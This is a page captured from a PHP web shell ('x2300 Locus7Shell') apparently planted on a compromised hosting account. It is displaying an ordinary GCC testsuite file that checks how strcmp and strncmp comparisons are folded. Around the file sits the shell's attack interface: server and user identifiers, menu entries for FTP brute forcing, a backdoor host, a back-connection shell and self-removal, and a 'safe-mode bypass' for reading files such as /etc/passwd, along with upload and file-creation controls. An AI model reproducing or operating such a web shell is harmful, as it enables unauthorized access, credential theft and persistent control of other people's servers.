Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/gcc/testsuite/gcc.dg/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     strlenopt-69.c (3.09 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* PR tree-optimization/90879 - fold zero-equality of strcmp between
   a longer string and a smaller array
   { dg-do compile }
   { dg-options "-O2 -Wall -Wno-string-compare -fdump-tree-optimized -ftrack-macro-expansion=0" } */

#include "strlenopt.h"

#define A(expr)                                                 \
  ((expr)                                                       \
   ? (void)0                                                    \
   : (__builtin_printf ("assertion failed on line %i: %s\n",    \
                        __LINE__, #expr),                       \
      __builtin_abort ()))

void clobber (void*, ...);

struct S { char a4[4], c; };

extern char a4[4];
extern char b4[4];

/* Verify that comparison of string literals with arrays with unknown
   content but size that prevents them from comparing equal is folded
   to a constant.  */

void test_array_lit (void)
{
  A (strcmp (a4, "1234")); clobber (a4);
  A (strcmp (a4, "12345")); clobber (a4);
  A (strcmp (a4, "123456")); clobber (a4);
  A (strcmp ("1234", a4)); clobber (a4);
  A (strcmp ("12345", a4)); clobber (a4);
  A (strcmp ("123456", a4)); clobber (a4);
}

void test_memarray_lit (struct S *p)
{
#if 0
  /* Member arrays not handled due to the fix for PR 92765.  */
  A (strcmp (p->a4, "1234"));
  A (strcmp (p->a4, "12345"));
  A (strcmp (p->a4, "123456"));

  A (strcmp ("1234", p->a4));
  A (strcmp ("12345", p->a4));
  A (strcmp ("123456", p->a4));
#endif
}

/* Verify that the equality of empty strings is folded.  */

void test_empty_string (void)
{
  A (0 == strcmp ("", ""));

  *a4 = '\0';
  A (0 == strcmp (a4, ""));
  A (0 == strcmp ("", a4));
  A (0 == strcmp (a4, a4));

  char s[8] = "";
  A (0 == strcmp (a4, s));

  a4[1] = '\0';
  b4[1] = '\0';
  A (0 == strcmp (a4 + 1, b4 + 1));

  a4[2] = '\0';
  b4[2] = '\0';
  A (0 == strcmp (&a4[2], &b4[2]));

#if 0
  /* The following isn't handled yet due to PR 92155.  */
  clobber (a4, b4);

  memset (a4, 0, sizeof a4);
  memset (b4, 0, sizeof b4);
  A (0 == strcmp (a4, b4));
#endif
}

/* Verify that comparison of dynamically created strings with unknown
   arrays is folded.  */

void test_array_copy (void)
{
  char s[8];
  strcpy (s, "1234");
  A (strcmp (a4, s));

  strcpy (s, "12345");
  A (strlen (s) == 5);
  A (strcmp (a4, s)); clobber (a4);

  strcpy (s, "123456");
  A (strcmp (a4, s)); clobber (a4);

  strcpy (s, "1234");
  A (strcmp (s, a4)); clobber (a4);

  strcpy (s, "12345");
  A (strcmp (s, a4)); clobber (a4);

  strcpy (s, "123456");
  A (strcmp (s, a4)); clobber (a4);
}


void test_array_bounded (void)
{
  A (strncmp (a4, "12345", 5)); clobber (a4);
  A (strncmp ("54321", a4, 5)); clobber (a4);

  A (strncmp (a4, "123456", 5)); clobber (a4);
  A (strncmp ("654321", a4, 5)); clobber (a4);
}

void test_array_copy_bounded (void)
{
  char s[8];
  strcpy (s, "12345");
  A (strncmp (a4, s, 5)); clobber (a4);
  strcpy (s, "54321");
  A (strncmp (s, a4, 5)); clobber (a4);

  strcpy (s, "123456");
  A (strncmp (a4, s, 5)); clobber (a4);
  strcpy (s, "654321");
  A (strncmp (s, a4, 5)); clobber (a4);
}

/* { dg-final { scan-tree-dump-not "abort|strcmp|strncmp" "optimized" } } */

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0049 ]--